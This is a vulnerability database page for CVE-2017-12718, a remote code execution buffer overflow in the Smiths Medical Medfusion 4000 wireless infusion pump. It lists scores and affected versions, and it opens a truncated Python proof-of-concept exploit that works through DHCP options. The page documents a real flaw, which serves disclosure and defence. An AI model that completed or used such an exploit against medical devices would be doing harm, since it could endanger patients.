8.1
CVSSv3

CVE-2017-12718

Published: 15/02/2018 Updated: 09/10/2019
CVSS v2 Base Score: 6.8 | Impact Score: 6.4 | Exploitability Score: 8.6
CVSS v3 Base Score: 8.1 | Impact Score: 5.9 | Exploitability Score: 2.2
VMScore: 685
Vector: AV:N/AC:M/Au:N/C:P/I:P/A:P

Vulnerability Summary

A Classic Buffer Overflow issue exists in Smiths Medical Medfusion 4000 Wireless Syringe Infusion Pump, Version 1.1, 1.5, and 1.6. A third-party component used in the pump does not verify input buffer size prior to copying, leading to a buffer overflow, allowing remote code execution on the target device. The pump receives the potentially malicious input infrequently and under certain conditions, increasing the difficulty of exploitation.

Vulnerable Product Search on Vulmon Subscribe to Product

smiths-medical medfusion_4000_wireless_syringe_infusion_pump 1.1

smiths-medical medfusion_4000_wireless_syringe_infusion_pump 1.5

smiths-medical medfusion_4000_wireless_syringe_infusion_pump 1.6

Exploits

#!/usr/bin/python3 """PoC for MQX RTCS code execution via DHCP options overflow This is just a quick hack to prove the vulnerability and was designed to run on a private network with the target device """ import datetime import socket def main(): """Use a default valid DHCP packet to overwrite an event function pointer""" execute_addr ...